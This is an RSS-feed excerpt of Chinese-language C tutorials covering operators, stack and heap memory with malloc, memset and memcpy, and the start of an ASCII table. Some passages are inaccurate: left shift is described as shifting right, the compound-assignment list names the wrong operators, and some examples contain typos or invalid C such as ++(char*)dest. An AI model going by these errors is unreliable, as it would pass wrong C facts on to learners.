		2，自增、自减运算符：自增(++)和自减(--)运算是单日运算,其作用是使变量的值增1或减1,其优先致高于所有的双目运算。自增和自减运算的应用形式有两种
	</p>

	<p>
		（1）前缀形式：运算符在变量前面，表示对变量先自动加1或自动减1，然后再参与其他运算，即先改变变量的值后使用，如++k和--k。
	</p>

	<p>
		（2）后缀形式：运算符在变量后面，表示变量先参与其他运算，再对变量先自动加1或自动减1，即先使用后改变，如k++和k--。
	</p>
</blockquote>

<h1>
	 赋值运算符
</h1>

<blockquote>
	<p>
		 赋值运算符用“=”表示，它的作用是将一个数据赋给一个变量。例如：a=3的作用是把常量3赋给变量a。也可以将一个表达式赋给一个变量，例如a=x%b的作用是将表达式x%b的值赋给变量a。
	</p>

	<p>
		赋值运算符用“=”是一个双目运算符，其结合性是从右向左。
	</p>

	<h3>
		符合的赋值运算符
	</h3>

	<p>
		定义：赋值运算符“=”和5种算术运算符（+、-、*、/、%）和5种位运算符（&lt;、&gt;、&amp;、^、|）构成10种复合的赋值运算符。分别为：+=、-=、*=、/=、&amp;=、&lt;=、&gt;=、&amp;=、^=、|=。
	</p>

	<p>
		例如：a+=3           等价于        a=a+3
	</p>

	<p>
		           a*=a+3       等价于       a=a*(a+3)
	</p>
</blockquote>

<h1>
	 关系运算符
</h1>

<blockquote>
	<table border="1" cellpadding="1" cellspacing="1"><thead><tr><th>
					运算符
				</th>
				<th>
					作用
				</th>
			</tr></thead><tbody><tr><th>
					&gt;
				</th>
				<td>
					<p>
						大于
					</p>
				</td>
			</tr><tr><th>
					&lt;
				</th>
				<td>
					小于
				</td>
			</tr><tr><th>
					<p>
						&gt;=
					</p>
				</th>
				<td>
					大于等于
				</td>
			</tr><tr><th>
					&lt;=
				</th>
				<td>
					小于等于
				</td>
			</tr><tr><th>
					==
				</th>
				<td>
					等于
				</td>
			</tr><tr><th>
					!=
				</th>
				<td>
					不等于
				</td>
			</tr></tbody></table><p>
		1、关系运算符都是双目运算符，结合方向是自左向右。其中（&gt;、&lt;、&lt;=、&gt;=）优先关系相同，（==、!=）优先关系相同。
	</p>

	<p>
		2，用关系运算符将两个任意类型的表达式连接起来的式子,称为关系表达式。它的结果是逻辑值0或1
	</p>

	<p>
		（1）当两个运算对象之间满足给定的关系时，则表达式取真值1，否则，取假值0。<br />
		         例如:
	</p>

	<p>
		         int a=12，b=14;     则表达式a&lt;b的运算结果为真值1, a==b的结果为假值0。
	</p>

	<p>
		（2）两个运算对象可以是算术表达式。如果是字符数据时，按其ASCI码值进行比较。
	</p>

	<p>
		         例如: 'a'&gt;‘b’的运算结果为假值0。
	</p>

	<p>
		（3）关系表达式的值可以作为整数值参与运算。
	</p>

	<p>
		         例如
	</p>

	<p>
		         int = 10, b = 9, c=1,f;         
	</p>

	<p>
		         f=a&gt;b&gt;c;           则f=0
	</p>

	<p>
		         其中,关系运算符&gt;的优先级高于赋值运算符=，而关系运算符是自左至右的结合方向,<br />
		        所以先执行a&gt;b,结果为1,再执行1&gt;c,结果为0,最后将0值赋给f。
	</p>
</blockquote>

<h1>
	 逻辑运算符
</h1>

<blockquote>
	<p>
		语言中的逻辑运算符是对两个关系表达式或者逻辑值进行比较的。
	</p>

	<p>
		逻辑运算符共有三种：逻辑与&amp;&amp;、逻辑或||和逻辑非!
	</p>

	<p>
		其中逻辑与和逻辑或是双目运算符，结合方向是自左至右，且逻辑与&amp;&amp;的优先级高于逻辑或||。逻辑非！是单目运算符，结合方向是自右自左。由于单目运算符的优先级高于双且运算符,所以它的优先级高于逻辑与和逻辑或。
	</p>

	<table border="1" cellpadding="1" cellspacing="1"><thead><tr><th>
					a
				</th>
				<th>
					b
				</th>
				<th>
					a&amp;&amp;b
				</th>
				<th>
					a||b
				</th>
				<th>
					!a
				</th>
			</tr></thead><tbody><tr><th>
					真
				</th>
				<td>
					真
				</td>
				<td>
					真
				</td>
				<td>
					真
				</td>
				<td>
					假
				</td>
			</tr><tr><th>
					真
				</th>
				<td>
					假
				</td>
				<td>
					假
				</td>
				<td>
					真
				</td>
				<td>
					假
				</td>
			</tr><tr><th>
					假
				</th>
				<td>
					真
				</td>
				<td>
					假
				</td>
				<td>
					真
				</td>
				<td>
					真
				</td>
			</tr><tr><th>
					假
				</th>
				<td>
					假
				</td>
				<td>
					假
				</td>
				<td>
					假
				</td>
				<td>
					真
				</td>
			</tr></tbody></table></blockquote>

<h1>
	 条件运算符
</h1>

<blockquote>
	<p>
		条件运算符由“？”和“：”组成，它的一般格式为
	</p>

	<p>
		   表达式1？表达式2：表达式3
	</p>

	<p>
		其解释为：首先计算表达式1，如果表达式1的值为真，则求解表达式2，以表达式2的值作为整个条件表达式的值；如果表达式1的值为假，则求解表达式3，以表达式3的值作为整个条件表达式的值。
	</p>

	<p>
		它是C语言中唯一一个三目运算符，它的结合方向为自右向左。
	</p>

	<p>
		例如：int  x=1,y=2,z;
	</p>

	<p>
		          z=x&gt;y?++x:y++;
	</p>

	<p>
		运行结果为：x=1,y=3,z=2
	</p>
</blockquote>

<h1>
	 逗号运算符
</h1>

<blockquote>
	<p>
		“，”是C语言的一种特殊的运算符，称为逗号运算符。用逗号将多个表达式连接起来的式子称为逗号表达式。
	</p>

	<p>
		逗号表达式的一般形式：表达式1，表达式2，···， 表达式n
	</p>

	<p>
		逗号表达式的求解过程：从左至右地计算各个表达式的值，先求解表达式1，再求解表达式2 最后求解表达式n，整个逗号表达式的值为表达式n的值。
	</p>

	<p>
		例如：求逗号表达式"a=5,a*=a，a+5"的值。
	</p>

	<p>
		先求赋值表达式a=5的值，表达式的值为5， a的值为5；接着求复合赋值运算a*=a的值，表达式的值为25， a的值为25，最后求算术表达式a+5的值，表达式的值为30， a的值为25。因此,整个逗号表达式的值为30。
	</p>
</blockquote>

<h1>
	 移位运算符
</h1>

<blockquote>
	<p>
		移位运算符分为两类：左移运算符（&lt;&lt;）和右移运算符（&gt;&gt;）
	</p>

	<h3>
		左移运算符：
	</h3>

	<p>
		将一个二进制数按指定移动的位数向右移动。
	</p>

	<p>
		移位规则：左边抛弃，右边补0
	</p>

	<h3>
		右移运算符：
	</h3>

	<p>
		将一个二进制数按指定移动的位数向右移动。
	</p>

	<p>
		移位规则：最高位是0，左边补齐0；最高为是1，左边补齐1。
	</p>

	<p>
		注：内存中存放的数据是二进制的补码
	</p>

	<p>
		       原码：根据数值直接写出的二进制码
	</p>

	<p>
		       反码：原码的符号位不变，其他位取反
	</p>

	<p>
		       补码：反码+1
	</p>

	<p>
		       （正整数的原码，反码和补码相同，）
	</p>

	<p>
		举例：int num+10;
	</p>

	<p>
		           num&gt;&gt;1;
	</p>

	<p>
		           num&lt;&lt;1;
	</p>
</blockquote>

<h1>
	 位运算符
</h1>

<blockquote>
	<p>
		&amp;    按位与
	</p>

	<p>
		|     按位或
	</p>

	<p>
		^    按位异或
	</p>

	<p>
		注：对它们的二进制数进行操作，他们的操作数必须是整数。
	</p>

	<p>
		举例：int num1 = 1;
	</p>

	<p>
		           int num2 = 2;
	</p>

	<p>
		          num1 &amp; num2; num1 | num2; num1 ^ num2; 
	</p>
</blockquote>

<h1>
	 求字节运算符
</h1>

<blockquote>
	<p>
		sizeof是求变量（类型）所占空间的大小。很简单，直接通过举例即可理解
	</p>

	<p>
		例：int a = -10;
	</p>

	<p>
		       printf("%d\n", sizeof(a)); 
	</p>

	<p>
		    其结果为4，因为int类型在空间中占4个字节
	</p>
</blockquote>
]]></description><guid isPermaLink="false">311</guid><pubDate>Sat, 15 Oct 2022 21:12:34 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;-&#x5185;&#x5B58;&#x51FD;&#x6570;</title><link>https://www.hackhat.org/Hacker-topic/310.html/</link><description><![CDATA[<p>
	 
</p>

<h1>
	内存函数
</h1>

<p>
	在 C 语言中，当一个程序被加载到内存中运行，系统会为该程序分配一块独立的内存空间，并且这块内存空间又可以再被细分为很多区域，比如：栈区、堆区、静态区、全局区等
</p>

<p>
	栈区：保存局部变量。存储在栈区的变量，在函数执行结束后，会被系统自动释放。
</p>

<p>
	堆区：由 malloc、calloc、realloc……等函数分配内存。其生命周期由 free 函数控制，在没有被释放之前一直存在，直到程序运行结束。
</p>

<h2>
	<a rel=""></a>栈内存
</h2>

<p>
	定义在函数内部的局部变量，都保存在栈区。栈区的特点是：函数执行结束后，由系统 “自动回收”局部变量所对应的内存空间。所谓的“自动回收”其实是操作系统将这块栈内存又分配给其他函数中的局部变量使用。
</p>

<p>
	当定义局部变量时，系统会在栈区为其分配一块内存空间，当函数执行结束后系统负责回收这块内存，又分配给其他局部变量使用。
</p>

<p>
	以下代码执行后，会发现输出的a，b变量内存地址是一样的。可以说明局部变量对应的内存在函数执行结束后，会被系统回收分配给其他函数中的局部变量使用。因此，在C语言中，不能将局部变量的地址作为函数返回值返回，否则可能出现问题
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>

<span>void</span><span> showA</span><span>()</span>
<span>{</span>
	<span>int</span><span> a</span><span>;</span><span>
	printf</span><span>(</span><span>"&amp;a=%p\n"</span><span>,&amp;</span><span>a</span><span>);</span>
<span>}</span>

<span>void</span><span> showB</span><span>()</span>
<span>{</span>
	<span>int</span><span> b</span><span>;</span><span>
	printf</span><span>(</span><span>"&amp;b=%p\n"</span><span>,&amp;</span><span>b</span><span>);</span>
<span>}</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span><span>
	showA</span><span>();</span><span>
	showB</span><span>();</span><span> 
	getchar</span><span>();</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	栈内存：
</p>

<p>
	(1) 由系统自动分配、释放。如：函数形参、局部变量。
</p>

<p>
	(2) 栈内存比较小，在 VS2012 中，栈内存默认最大为 1M，如果局部变量占用的栈内存过大，会发生栈溢出。
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
<span>int</span><span> a</span><span>[</span><span>9900000</span><span>];</span><span>//会产生StackOverflow</span><span>
getchar</span><span>();</span>
<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<h2>
	<a rel=""></a>堆内存
</h2>

<p>
	使用 malloc 系列函数分配的内存都属于堆区，使用完后调用 free 函数进行释放，否则可能会造成内存泄漏（即这块内存无法被再次使用）。
</p>

<p>
	malloc 函数<br />
	函数原型： void *malloc(int size);
</p>

<p>
	头文件： #include &lt;stdlib.h&gt;
</p>

<p>
	参数列表： size：分配多少个字节。
</p>

<p>
	功能： 申请指定大小的堆内存。
</p>

<p>
	返回值：如果分配成功则返回指向被分配内存的指针，否则返回空指针 NULL。
</p>

<p>
	void *表示“不确定指向类型”的指针，使用前必须进行强制类型转化，将 void*转化为“确定指向类型”的指针。
</p>

<p>
	free 函数
</p>

<p>
	函数原型： void free(void* ptr);
</p>

<p>
	头文件： #include &lt;stdlib.h&gt;
</p>

<p>
	参数列表： ptr：指向要被释放的堆内存。
</p>

<p>
	功能： 释放 ptr 指向的内存空间。
</p>

<p>
	在C语言中，被 free 之后的堆内存，将会被操作系统回收再分配，不建议继续使用， 否则输出的结果将难以预料。
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;stdlib.h&gt;</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
	<span>int</span> <span>*</span><span>p </span><span>=</span> <span>(</span><span>int</span> <span>*)</span><span>malloc</span><span>(</span><span>sizeof</span><span>(</span><span>int</span><span>));</span><span>//void *类型的返回值必须进行强制类型转化</span>
	<span>*</span><span>p </span><span>=</span> <span>200</span><span>;</span><span>
	printf</span><span>(</span><span>"%p, %d\n"</span><span>,</span><span> p</span><span>,</span> <span>*</span><span>p</span><span>);</span><span>//输出指针p所指向的内存地址，输出此内存地址中的值</span><span>
	free</span><span>(</span><span>p</span><span>);</span><span>
	getchar</span><span>();</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	堆内存
</p>

<p>
	(1)由程序员自己申请、释放。如果没有释放，可能会发生内存泄露，直到程序结束后由系统释放。
</p>

<p>
	(2)堆内存比较大，可以分配超过 1G 的内存空间。
</p>

<p>
	函数返回数据的两种方式
</p>

<ol><li>
		在被调函数中使用 malloc 分配内存，在主调函数中 free 释放内存。
	</li>
</ol><pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;stdlib.h&gt;</span>

<span>int</span><span>*</span><span> getMemory</span><span>()</span>
<span>{</span>
    <span>int</span><span>*</span><span> p_int</span><span>=(</span><span>int</span><span>*)</span><span>malloc</span><span>(</span><span>sizeof</span><span>(</span><span>int</span><span>));</span><span>//被调函数分配使用内存</span>
    <span>*</span><span>p_int</span><span>=</span><span>100</span><span>;</span>
    <span>return</span><span> p_int</span><span>;</span>
<span>}</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
    <span>int</span><span>*</span><span> p</span><span>=</span><span>getMemory</span><span>();</span><span>
    printf</span><span>(</span><span>"%d\n"</span><span>,*</span><span>p</span><span>);</span><span>
    free</span><span>(</span><span>p</span><span>);</span> <span>//主调函数释放内存</span><span>
    getchar</span><span>();</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	分配内存与释放内存是分开的，容易导致程序员忘记在主调函数中释放内存，从而导致内存泄漏，
</p>

<p>
	2.在主调函数中分配堆内存，在被调函数中使用堆内存，最后又在主调函数中释放堆内存。
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;stdlib.h&gt;</span>

<span>void</span><span> fun</span><span>(</span><span>int</span> <span>*</span><span>p_int</span><span>)</span>
<span>{</span>
	<span>*</span><span>p_int</span><span>=</span><span>100</span><span>;</span>
<span>}</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
    <span>int</span><span>*</span><span> p</span><span>=(</span><span>int</span><span>*)</span><span>malloc</span><span>(</span><span>sizeof</span><span>(</span><span>int</span><span>));</span> <span>//主调函数分配堆内存</span><span>
    fun</span><span>(</span><span>p</span><span>);</span><span>
    printf</span><span>(</span><span>"%d"</span><span>,*</span><span>p</span><span>);</span><span>
    free</span><span>(</span><span>p</span><span>);</span> <span>//主调函数释放堆内存</span><span>
    getchar</span><span>();</span>
    <span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	此方法较为推荐
</p>

<p>
	使用 malloc 函数分配的堆内存，系统不会初始化内存，分配的内存中还会残留旧数据。因此，引用未初始化的堆内存，输出的数据也将是未知的。
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;stdlib.h&gt;</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
<span>int</span> <span>*</span><span>p_int</span><span>=(</span><span>int</span><span>*)</span><span>malloc</span><span>(</span><span>sizeof</span><span>(</span><span>int</span><span>));</span><span>
printf</span><span>(</span><span>"%d"</span><span>,*</span><span>p_int</span><span>);</span><span>//输出随机未知数据</span><span>
getchar</span><span>();</span>
<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	为了避免引用堆内存中的未知数据，一般使用 malloc 在堆区分配内存后，需要将这块堆内存初始化为0
</p>

<h2>
	<a rel=""></a>memset
</h2>

<p>
	函数原型：void* memset(void *dest, int c, size_t size);<br />
	头文件： #include &lt;string.h&gt;<br />
	参数列表： dest：被初始化的目标内存区域。 c：要设置的字符。 size：初始化 size 个字节。<br />
	功能： 将 dest 指向的内存空间前 size 个字节初始化为 c。 返回值： dest的内存地址。
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;string.h&gt;</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
	<span>char</span><span> arr</span><span>[</span><span>10</span><span>]</span> <span>=</span> <span>{</span><span>0</span><span>};</span>
    <span>//会把arr的前5个字节的元素设置为@</span><span>
	memset</span><span>(</span><span>arr</span><span>,</span> <span>'@'</span><span>,</span><span>5</span><span>);</span><span>
	getchar</span><span>();</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<h2>
	<a rel=""></a>memcpy
</h2>

<p>
	函数原型：void* memcpy(void* destination, const void* source, size_t num);
</p>

<p>
	memcpy函数会从source指针的位置向后复制num个字节的数据到destination指针指向的内存的位置中<br />
	但是source和destination的num个字节的数据在内存中不能有重叠，否则复制的结果是未知的<br />
	memcpy可以复制任意类型的数据
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;string.h&gt;</span>
 
<span>struct</span><span> S
</span><span>{</span>
	<span>int</span><span> age</span><span>;</span>
	<span>char</span><span> name</span><span>[</span><span>5</span><span>];</span>
<span>};</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
	<span>struct</span><span> S arr1</span><span>[]</span> <span>=</span> <span>{</span><span>{</span><span>18</span><span>,</span><span>"abc"</span><span>},</span> <span>{</span><span>22</span><span>,</span> <span>"456"</span><span>}};</span>
	<span>struct</span><span> S arr2</span><span>[</span><span>3</span><span>]</span> <span>=</span> <span>{</span><span>0</span><span>};</span>
    <span>//从内存中可以看到，arr1的数据已经拷贝到arr2中</span><span>
	memcpy</span><span>(</span><span>arr2</span><span>,</span><span> arr1</span><span>,</span> <span>sizeof</span><span>(</span><span>arr1</span><span>));</span><span>
	getchar</span><span>();</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>

<p>
	简单实现my_memcpy
</p>

<pre><code><span>void</span><span>*</span><span> my_memcpy</span><span>(</span><span>void</span><span>*</span><span> dest</span><span>,</span> <span>void</span><span>*</span><span> source</span><span>,</span> <span>size_t</span><span> num</span><span>)</span>
<span>{</span><span>
    assert</span><span>(</span><span>dest </span><span>&amp;&amp;</span><span> source</span><span>);</span>
	<span>void</span><span>*</span><span> res </span><span>=</span><span> dest</span><span>;</span>
	<span>while</span><span>(</span><span>num</span><span>--){</span>
		<span>*(</span><span>char</span><span>*)</span><span>dest </span><span>=</span> <span>*(</span><span>char</span><span>*)</span><span>source</span><span>;</span>
		<span>++(</span><span>char</span><span>*)</span><span>dest</span><span>;</span>
		<span>++(</span><span>char</span><span>*)</span><span>source</span><span>;</span>
	<span>}</span>
	<span>return</span><span> res</span><span>;</span>
<span>}</span></code></pre>

<h2>
	<a rel=""></a>memmove
</h2>

<p>
	函数原型：void* memmove(void* destination, const void* source, size_t num);
</p>

<p>
	memmove函数会从source指针的位置向后复制num个字节的数据到destination指针指向的内存的位置中<br />
	但是source和destination的num个字节的数据在内存中可以有重叠
</p>

<h2>
	<a rel=""></a>memcmp
</h2>

<p>
	函数原型：int memcmp(void* ptr1, void* prt2, size_t num);
</p>

<p>
	比较从ptr1指针以及ptr2指针开始的num个字节的数据的大小
</p>

<pre><code><span>#include</span><span>&lt;stdio.h&gt;</span>
<span>#include</span><span>&lt;string.h&gt;</span>

<span>int</span><span> main</span><span>(</span><span>void</span><span>)</span>
<span>{</span>
	<span>int</span><span> res </span><span>=</span> <span>0</span><span>;</span>
	<span>char</span><span> arr1</span><span>[]</span> <span>=</span> <span>{</span><span>1</span><span>,</span><span>2</span><span>,</span><span>3</span><span>,</span><span>4</span><span>,</span><span>5</span><span>};</span>
	<span>char</span><span> arr2</span><span>[]</span> <span>=</span> <span>{</span><span>1</span><span>,</span><span>2</span><span>,</span><span>4</span><span>,</span><span>5</span><span>,</span><span>5</span><span>};</span>
    <span>//比较</span><span>
	res </span><span>=</span><span> memcmp</span><span>(</span><span>arr2</span><span>,</span><span> arr1</span><span>,</span><span>3</span><span>);</span><span>
	printf</span><span>(</span><span>"%d"</span><span>,</span><span> res</span><span>);</span><span>
	getchar</span><span>();</span>
	<span>return</span> <span>0</span><span>;</span>
<span>}</span></code></pre>
]]></description><guid isPermaLink="false">310</guid><pubDate>Sat, 15 Oct 2022 21:12:11 +0000</pubDate></item><item><title>C&#x8BED;&#x8A00;&#x5B57;&#x7B26;</title><link>https://www.hackhat.org/Hacker-topic/309.html/</link><description><![CDATA[<p>
	 
</p>

<p>
	在实际开发中，程序员很少用单个字符来表示一个完整的数据，字符的意义主要作为数组的时候可以形成一个字符串。在本章节中，我们更关心字符与整数之间的关系和ASCII码的相关知识。
</p>

<p>
	字符类型char，只能用单引号' '来包围，不能用双引号" "包围。而字符串只能用双引号" "包围，不能用单引号' '包围。
</p>

<p>
	输出字符使用 %c，输出字符串使用 %s。
</p>

<h1>
	<strong>ASCII码表</strong>
</h1>

<p>
	ASCII（American Standard Code for Information Interchange，美国信息交换标准代码）是基于拉丁字母的电脑编码系统，用于显示现代英语和其他西欧语言，它是现今最通用的单字节编码系统。
</p>

<p>
	ASCII码规范于1967年第一次发布，它包含了33个控制字符（具有某些特殊功能但是无法显示的字符）和95个可显示字符。
</p>

<h2>
	<strong>1、ASCII 控制字符 （字符编码: 0-31）</strong>
</h2>

<p>
	在ASCII码表中，前32个字符是不能用于显示的编码，而是用于控制外围设备。
</p>

<table border="1" cellspacing="0"><thead><tr><td>
				<p>
					十进制<br>
					DEC
				</p>
			</td>
			<td>
				<p>
					符号<br>
					Symbol
				</p>
			</td>
			<td>
				<p>
					中文解释<br>
					Description
				</p>
			</td>
		</tr></thead><tbody><tr><td>
				<p>
					0
				</p>
			</td>
			<td>
				<p>
					NULL
				</p>
			</td>
			<td>
				<p>
					空字符
				</p>
			</td>
		</tr><tr><td>
				<p>
					1
				</p>
			</td>
			<td>
				<p>
					SOH
				</p>
			</td>
			<td>
				<p>
					标题开始
				</p>
			</td>
		</tr><tr><td>
				<p>
					2
				</p>
			</td>
			<td>
				<p>
					STX
				</p>
			</td>
			<td>
				<p>
					正文开始
				</p>
			</td>
		</tr><tr><td>
				<p>
					3
				</p>
			</td>
			<td>
				<p>
					ETX
				</p>
			</td>
			<td>
				<p>
					正文结束
				</p>
			</td>
		</tr><tr><td>
				<p>
					4
				</p>
			</td>
			<td>
				<p>
					EOT
				</p>
			</td>
			<td>
				<p>
					传输结束
				</p>
			</td>
		</tr><tr><td>
				<p>
					5
				</p>
			</td>
			<td>
				<p>
					ENQ
				</p>
			</td>
			<td>
				<p>
					询问
				</p>
			</td>
		</tr><tr><td>
				<p>
					6
				</p>
			</td>
			<td>
				<p>
					ACK
				</p>
			</td>
			<td>
				<p>
					收到通知
				</p>
			</td>
		</tr><tr><td>
				<p>
					7
				</p>
			</td>
			<td>
				<p>
					BEL
				</p>
			</td>
			<td>
				<p>
					铃
				</p>
			</td>
		</tr><tr><td>
				<p>
					8
				</p>
			</td>
			<td>
				<p>
					BS
				</p>
			</td>
			<td>
				<p>
					退格
				</p>
			</td>
		</tr><tr><td>
				<p>
					9
				</p>
			</td>
			<td>
				<p>
					HT
				</p>
			</td>
			<td>
				<p>
					水平制表符
				</p>
			</td>
		</tr><tr><td>
				<p>
					10
				</p>
			</td>
			<td>
				<p>
					LF
				</p>
			</td>
			<td>
				<p>
					换行键
				</p>
			</td>
		</tr><tr><td>
				<p>
					11
				</p>
			</td>
			<td>
				<p>
					VT
				</p>
			</td>
			<td>
				<p>
					垂直制表符
				</p>
			</td>
		</tr><tr><td>
				<p>
					12
				</p>
			</td>
			<td>
				<p>
					FF
				</p>
			</td>
			<td>
				<p>
					换页键
				</p>
			</td>
		</tr><tr><td>
				<p>
					13
				</p>
			</td>
			<td>
				<p>
					CR
				</p>
			</td>
			<td>
				<p>
					回车键
				</p>
			</td>
		</tr><tr><td>
				<p>
					14
				</p>
			</td>
			<td>
				<p>
					SO
				</p>
			</td>
			<td>
				<p>
					移出
				</p>
			</td>
		</tr><tr><td>
				<p>
					15
				</p>
			</td>
			<td>
				<p>
					SI
				</p>
			</td>
			<td>
				<p>
					移入
				</p>
			</td>
		</tr><tr><td>
				<p>
					16
				</p>
			</td>
			<td>
				<p>
					DLE
				</p>
			</td>
			<td>
				<p>
					数据链路转义
				</p>
			</td>
		</tr><tr><td>
				<p>
					17
				</p>
			</td>
			<td>
				<p>
					DC1
				</p>
			</td>
			<td>
				<p>
					设备控制 1
				</p>
			</td>
		</tr><tr><td>
				<p>
					18
				</p>
			</td>
			<td>
				<p>
					DC2
				</p>
			</td>
			<td>
				<p>
					设备控制 2
				</p>
			</td>
		</tr><tr><td>
				<p>
					19
				</p>
			</td>
			<td>
				<p>
					DC3
				</p>
			</td>
			<td>
				<p>
					设备控制 3
				</p>
			</td>
		</tr><tr><td>
				<p>
					20
				</p>
			</td>
			<td>
				<p>
					DC4
				</p>
			</td>
			<td>
				<p>
					设备控制 4
				</p>
			</td>
		</tr><tr><td>
				<p>
					21
				</p>
			</td>
			<td>
				<p>
					NAK
				</p>
			</td>
			<td>
				<p>
					拒绝接收
				</p>
			</td>
		</tr><tr><td>
				<p>
					22
				</p>
			</td>
			<td>
				<p>
					SYN
				</p>
			</td>
			<td>
				<p>
					同步空闲
				</p>
			</td>
		</tr><tr><td>
				<p>
					23
				</p>
			</td>
			<td>
				<p>
					ETB
				</p>
			</td>
			<td>
				<p>
					传输块结束
				</p>
			</td>
		</tr><tr><td>
				<p>
					24
				</p>
			</td>
			<td>
				<p>
					CAN
				</p>
			</td>
			<td>
				<p>
					取消
				</p>
			</td>
		</tr><tr><td>
				<p>
					25
				</p>
			</td>
			<td>
				<p>
					EM
				</p>
			</td>
			<td>
				<p>
					介质中断
				</p>
			</td>
		</tr><tr><td>
				<p>
					26
				</p>
			</td>
			<td>
				<p>
					SUB
				</p>
			</td>
			<td>
				<p>
					替换
				</p>
			</td>
		</tr><tr><td>
				<p>
					27
				</p>
			</td>
			<td>
				<p>
					ESC
				</p>
			</td>
			<td>
				<p>
					换码符
				</p>
			</td>
		</tr><tr><td>
				<p>
					28
				</p>
			</td>
			<td>
				<p>
					FS
				</p>
			</td>
			<td>
				<p>
					文件分隔符
				</p>
			</td>
		</tr><tr><td>
				<p>
					29
				</p>
			</td>
			<td>
				<p>
					GS
				</p>
			</td>
			<td>
				<p>
					组分隔符
				</p>
			</td>
		</tr><tr><td>
				<p>
					30
				</p>
			</td>
			<td>
				<p>
					RS
				</p>
			</td>
			<td>
				<p>
					记录分离符
				</p>
			</td>
		</tr><tr><td>
				<p>
					31
				</p>
			</td>
			<td>
				<p>
					US
				</p>
			</td>
			<td>
				<p>
					单元分隔符
				</p>
			</td>
		</tr></tbody></table><h2>
	<strong>2、ASCII 可打印字符 （字符编码: 32-127）</strong>
</h2>

<p>
	32～126（共95个）是字符：32是空格，其中48～57为0到9十个阿拉伯数字，65～90为26个大写英文字母，97～122号为26个小写英文字母，其余为一些标点符号、运算符号等。第127个字符表示的是键盘上的删除命令。
</p>

<table border="1" cellspacing="0"><thead><tr><td>
				<p>
					十进制<br>
					DEC
				</p>
			</td>
			<td>
				<p>
					符号<br>
					Symbol
				</p>
			</td>
			<td>
				<p>
					中文解释<br>
					Description
				</p>
			</td>
		</tr></thead><tbody><tr><td>
				<p>
					32
				</p>
			</td>
			<td>
				<p>
					 
				</p>
			</td>
			<td>
				<p>
					空格
				</p>
			</td>
		</tr><tr><td>
				<p>
					33
				</p>
			</td>
			<td>
				<p>
					!
				</p>
			</td>
			<td>
				<p>
					感叹号
				</p>
			</td>
		</tr><tr><td>
				<p>
					34
				</p>
			</td>
			<td>
				<p>
					"
				</p>
			</td>
			<td>
				<p>
					双引号
				</p>
			</td>
		</tr><tr><td>
				<p>
					35
				</p>
			</td>
			<td>
				<p>
					#
				</p>
			</td>
			<td>
				<p>
					井号
				</p>
			</td>
		</tr><tr><td>
				<p>
					36
				</p>
			</td>
			<td>
				<p>
					$
				</p>
			</td>
			<td>
				<p>
					美元符
				</p>
			</td>
		</tr><tr><td>
				<p>
					37
				</p>
			</td>
			<td>
				<p>
					%
				</p>
			</td>
			<td>
				<p>
					百分号
				</p>
			</td>
		</tr><tr><td>
				<p>
					38
				</p>
			</td>
			<td>
				<p>
					&amp;
				</p>
			</td>
			<td>
				<p>
					与
				</p>
			</td>
		</tr><tr><td>
				<p>
					39
				</p>
			</td>
			<td>
				<p>
					'
				</p>
			</td>
			<td>
				<p>
					单引号
				</p>
			</td>
		</tr><tr><td>
				<p>
					40
				</p>
			</td>
			<td>
				<p>
					(
				</p>
			</td>
			<td>
				<p>
					左括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					41
				</p>
			</td>
			<td>
				<p>
					)
				</p>
			</td>
			<td>
				<p>
					右括号
				</p>
			</td>
		</tr><tr><td>
				<p>
					42
				</p>
			</td>
			<td>
				<p>
					*
				</p>
			</td>
			<td>
				<p>
					星号
				</p>
			</td>
		</tr><tr><td>
				<p>
					43
				</p>
			</td>
			<td>
				<p>
					+
				</p>
			</td>
			<td>
				<p>
					加号
				</p>
			</td>
		</tr><tr><td>
				<p>
					44
				</p>
			</td>
			<td>
				<p>
					,
				</p>
			</td>
			<td>
				<p>
					逗号
				</p>
			</td>
		</tr><tr><td>
				<p>
					45
				</p>
			</td>
			<td>
				<p>
					-
				</p>
			</td>
			<td>
				<p>
					连字号或减号
				</p>
			</td>
		</tr><tr><td>
				<p>
					46
				</p>
			</td>
			<td>
				<p>
					.
				</p>
			</td>
			<td>
				<p>
					句点或小数点
				</p>
			</td>
		</tr><tr><td>
				<p>
					47
				</p>
			</td>
			<td>
				<p>
					/
				</p>
			</td>
			<td>
				<p>
					斜杠
				</p>
			</td>
		</tr><tr><td>
				<p>
					48
				</p>
			</td>
			<td>
				<p>
					0
				</p>
			</td>
			<td>
				<p>
					0
				</p>
			</td>
		</tr><tr><td>
				<p>
					49
				</p>
			</td>
			<td>
				<p>
					1
				</p>
			</td>
			<td>
				<p>
					1
				</p>
